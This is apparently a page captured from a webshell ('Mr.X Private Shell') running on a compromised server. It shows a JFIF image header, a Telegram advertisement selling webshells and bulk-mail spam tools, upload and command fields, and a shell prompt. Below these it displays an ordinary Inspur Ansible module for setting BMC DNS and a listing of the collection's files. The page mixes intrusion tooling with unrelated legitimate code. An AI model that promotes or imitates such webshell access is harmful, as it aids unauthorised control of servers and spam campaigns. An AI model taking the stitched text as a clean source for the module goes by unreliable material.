����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding:utf-8 -*-

# Copyright (C) 2020 Inspur Inc. All Rights Reserved.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)

__metaclass__ = type

DOCUMENTATION = '''
---
module: edit_dns
version_added: "1.0.0"
author:
    - WangBaoshan (@ispim)
short_description: Set dns information
description:
   - Set dns information on Inspur server.
notes:
   - Does not support C(check_mode).
options:
    dns_status:
        description:
            - DNS status.
        choices: ['enable', 'disable']
        type: str
    host_cfg:
        description:
            - Host Settings.
        choices: ['manual', 'auto']
        type: str
    host_name:
        description:
            - Host Name.
            - Required when I(host_cfg=manual).
        type: str
    domain_manual:
        description:
            - Domain Settings.
        choices: ['manual', 'auto']
        type: str
    domain_iface:
        description:
            - Network Interface,input like 'eth0_v4', 'eth0_v6', 'eth1_v4', 'eth1_v6', 'bond0_v4', 'bond0_v6'.
            - Required when I(domain_manual=auto).
        type: str
    domain_name:
        description:
            - Domain Name.
            - Required when I(domain_manual=manual).
        type: str
    dns_manual:
        description:
            - DNS Settings.
        choices: ['manual', 'auto']
        type: str
    dns_iface:
        description:
            - DNS Interface,input like 'eth0', 'eth1', 'bond0'.
            - Required when I(dns_manual=auto).
        type: str
    dns_priority:
        description:
            - IP Priority.
            - Required when I(dns_manual=auto).
        choices: ['4', '6']
        type: str
    dns_server1:
        description:
            - DNS Server1 IPv4 or IPv6 address.
            - Required when I(dns_manual=manual).
        type: str
    dns_server2:
        description:
            - DNS Server2 IPv4 or IPv6 address.
            - Required when I(dns_manual=manual).
        type: str
    dns_server3:
        description:
            - DNS Server3 IPv4 or IPv6 address.
            - Required when I(dns_manual=manual).
        type: str
    register_status1:
        description:
            - BMC register status 1.
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    registration_method1:
        description:
            - Registration method 1.
            - Only the M6 model supports this parameter.
            - Required when I(register_status1=enable).
        choices: ['nsupdate', 'dhcp', 'hostname']
        type: str
    register_status2:
        description:
            - BMC register status 2.
            - Only the M6 model supports this parameter.
        choices: ['enable', 'disable']
        type: str
    registration_method2:
        description:
            - Registration method 2.
            - Only the M6 model supports this parameter.
            - Required when I(register_status2=enable).
        choices: ['nsupdate', 'dhcp', 'hostname']
        type: str
extends_documentation_fragment:
    - inspur.ispim.ism
'''

EXAMPLES = '''
- name: DNS test
  hosts: ism
  connection: local
  gather_facts: no
  vars:
    ism:
      host: "{{ ansible_ssh_host }}"
      username: "{{ username }}"
      password: "{{ password }}"

  tasks:

  - name: "Set dns information"
    inspur.ispim.edit_dns:
      dns_status: "disable"
      provider: "{{ ism }}"

  - name: "Set dns information"
    inspur.ispim.edit_dns:
      dns_status: "enable"
      host_cfg: "manual"
      host_name: "123456789"
      domain_manual: "auto"
      domain_iface: "eth0_v4"
      dns_manual: "manual"
      dns_server1: "100.2.2.2"
      dns_server2: "100.2.2.3"
      dns_server3: "100.2.2.4"
      provider: "{{ ism }}"

  - name: "Set dns information"
    inspur.ispim.edit_dns:
      dns_status: "enable"
      host_cfg: "manual"
      host_name: "123456789"
      domain_manual: "manual"
      domain_name: "inspur.com"
      dns_manual: "auto"
      dns_iface: "eth0"
      dns_priority: "4"
      provider: "{{ ism }}"
'''

RETURN = '''
message:
    description: Messages returned after module execution.
    returned: always
    type: str
state:
    description: Status after module execution.
    returned: always
    type: str
changed:
    description: Check to see if a change was made on the device.
    returned: always
    type: bool
'''

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.inspur.ispim.plugins.module_utils.ism import (ism_argument_spec, get_connection)


class DNS(object):
    def __init__(self, argument_spec):
        self.spec = argument_spec
        self.module = None
        self.init_module()
        self.results = dict()

    def init_module(self):
        """Init module object"""

        self.module = AnsibleModule(
            argument_spec=self.spec, supports_check_mode=False)

    def run_command(self):
        self.module.params['subcommand'] = 'setdns'
        self.results = get_connection(self.module)
        if self.results['State'] == 'Success':
            self.results['changed'] = True

    def show_result(self):
        """Show result"""
        self.module.exit_json(**self.results)

    def work(self):
        """Worker"""
        self.run_command()
        self.show_result()


def main():
    argument_spec = dict(
        dns_status=dict(type='str', required=False, choices=['enable', 'disable']),
        host_cfg=dict(type='str', required=False, choices=['manual', 'auto']),
        host_name=dict(type='str', required=False),
        domain_manual=dict(type='str', required=False, choices=['manual', 'auto']),
        domain_iface=dict(type='str', required=False),
        domain_name=dict(type='str', required=False),
        dns_manual=dict(type='str', required=False, choices=['manual', 'auto']),
        dns_iface=dict(type='str', required=False),
        dns_priority=dict(type='str', required=False, choices=['4', '6']),
        dns_server1=dict(type='str', required=False),
        dns_server2=dict(type='str', required=False),
        dns_server3=dict(type='str', required=False),
        register_status1=dict(type='str', required=False, choices=['enable', 'disable']),
        registration_method1=dict(type='str', required=False, choices=['nsupdate', 'dhcp', 'hostname']),
        register_status2=dict(type='str', required=False, choices=['enable', 'disable']),
        registration_method2=dict(type='str', required=False, choices=['nsupdate', 'dhcp', 'hostname']),
    )
    argument_spec.update(ism_argument_spec)
    dns_obj = DNS(argument_spec)
    dns_obj.work()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ad_group.py File 3.98 KB 0644
ad_group_info.py File 2.21 KB 0644
ad_info.py File 2.17 KB 0644
adapter_info.py File 3 KB 0644
add_ldisk.py File 6.29 KB 0644
alert_policy_info.py File 2.17 KB 0644
audit_log_info.py File 3.02 KB 0644
auto_capture_info.py File 2.23 KB 0644
backplane_info.py File 2.21 KB 0644
backup.py File 3.24 KB 0644
bios_export.py File 2.4 KB 0644
bios_import.py File 2.49 KB 0644
bios_info.py File 2.14 KB 0644
bmc_info.py File 2.16 KB 0644
boot_image_info.py File 2.21 KB 0644
boot_option_info.py File 2.17 KB 0644
clear_audit_log.py File 2.29 KB 0644
clear_event_log.py File 2.27 KB 0644
clear_system_log.py File 2.77 KB 0644
collect_blackbox.py File 2.4 KB 0644
collect_log.py File 2.41 KB 0644
connect_media_info.py File 2.26 KB 0644
cpu_info.py File 2.14 KB 0644
del_session.py File 2.46 KB 0644
dns_info.py File 2.14 KB 0644
download_auto_screenshot.py File 2.42 KB 0644
download_manual_screenshot.py File 2.43 KB 0644
edit_ad.py File 4.02 KB 0644
edit_alert_policy.py File 3.98 KB 0644
edit_auto_capture.py File 2.53 KB 0644
edit_bios.py File 3.03 KB 0644
edit_boot_image.py File 2.62 KB 0644
edit_boot_option.py File 2.96 KB 0644
edit_connect_media.py File 3.04 KB 0644
edit_dns.py File 6.65 KB 0644
edit_event_log_policy.py File 2.54 KB 0644
edit_fan.py File 2.95 KB 0644
edit_fru.py File 3.06 KB 0644
edit_ipv4.py File 4.34 KB 0644
edit_ipv6.py File 4.5 KB 0644
edit_kvm.py File 6.26 KB 0644
edit_ldap.py File 5.03 KB 0644
edit_ldisk.py File 3.72 KB 0644
edit_log_setting.py File 4.43 KB 0644
edit_m6_log_setting.py File 4.73 KB 0644
edit_manual_capture.py File 2.53 KB 0644
edit_media_instance.py File 4.91 KB 0644
edit_ncsi.py File 3.48 KB 0644
edit_network.py File 2.87 KB 0644
edit_network_bond.py File 3.1 KB 0644
edit_network_link.py File 3.69 KB 0644
edit_ntp.py File 4.56 KB 0644
edit_pdisk.py File 5.7 KB 0644
edit_power_budget.py File 7.53 KB 0644
edit_power_restore.py File 2.57 KB 0644
edit_power_status.py File 2.64 KB 0644
edit_preserve_config.py File 3.52 KB 0644
edit_psu_config.py File 2.72 KB 0644
edit_psu_peak.py File 2.82 KB 0644
edit_restore_factory_default.py File 3.41 KB 0644
edit_service.py File 4.48 KB 0644
edit_smtp.py File 6.26 KB 0644
edit_smtp_com.py File 5.6 KB 0644
edit_smtp_dest.py File 3.21 KB 0644
edit_snmp.py File 5.6 KB 0644
edit_snmp_trap.py File 6.2 KB 0644
edit_threshold.py File 3.4 KB 0644
edit_uid.py File 2.67 KB 0644
edit_virtual_media.py File 5.26 KB 0644
edit_vlan.py File 3.28 KB 0644
event_log_info.py File 3 KB 0644
event_log_policy_info.py File 2.23 KB 0644
fan_info.py File 2.14 KB 0644
fru_info.py File 2.15 KB 0644
fw_version_info.py File 2.22 KB 0644
gpu_info.py File 2.19 KB 0644
hard_disk_info.py File 2.2 KB 0644
kvm_info.py File 2.14 KB 0644
ldap_group.py File 3.93 KB 0644
ldap_group_info.py File 2.2 KB 0644
ldap_info.py File 2.16 KB 0644
ldisk_info.py File 2.19 KB 0644
log_setting_info.py File 2.23 KB 0644
media_instance_info.py File 2.26 KB 0644
mem_info.py File 2.17 KB 0644
ncsi_info.py File 2.16 KB 0644
network_bond_info.py File 2.2 KB 0644
network_info.py File 2.18 KB 0644
network_link_info.py File 2.2 KB 0644
ntp_info.py File 2.15 KB 0644
onboard_disk_info.py File 2.2 KB 0644
pcie_info.py File 2.16 KB 0644
pdisk_info.py File 2.19 KB 0644
power_budget_info.py File 2.21 KB 0644
power_consumption_info.py File 2.25 KB 0644
power_restore_info.py File 2.22 KB 0644
power_status_info.py File 2.21 KB 0644
preserve_config_info.py File 2.23 KB 0644
psu_config_info.py File 2.19 KB 0644
psu_info.py File 2.14 KB 0644
psu_peak_info.py File 2.18 KB 0644
raid_info.py File 2.21 KB 0644
reset_bmc.py File 2.23 KB 0644
reset_kvm.py File 2.23 KB 0644
restore.py File 2.89 KB 0644
self_test_info.py File 2.18 KB 0644
sensor_info.py File 2.18 KB 0644
server_info.py File 2.21 KB 0644
service_info.py File 2.19 KB 0644
session_info.py File 2.2 KB 0644
smtp_info.py File 2.16 KB 0644
snmp_info.py File 2.18 KB 0644
snmp_trap_info.py File 2.18 KB 0644
support_info.py File 2.2 KB 0644
system_log_info.py File 3.39 KB 0644
temp_info.py File 2.16 KB 0644
threshold_info.py File 2.21 KB 0644
uid_info.py File 2.14 KB 0644
update_cpld.py File 3.01 KB 0644
update_fw.py File 3.89 KB 0644
user.py File 4.14 KB 0644
user_group.py File 5.82 KB 0644
user_group_info.py File 2.21 KB 0644
user_info.py File 2.16 KB 0644
virtual_media_info.py File 2.21 KB 0644
volt_info.py File 2.16 KB 0644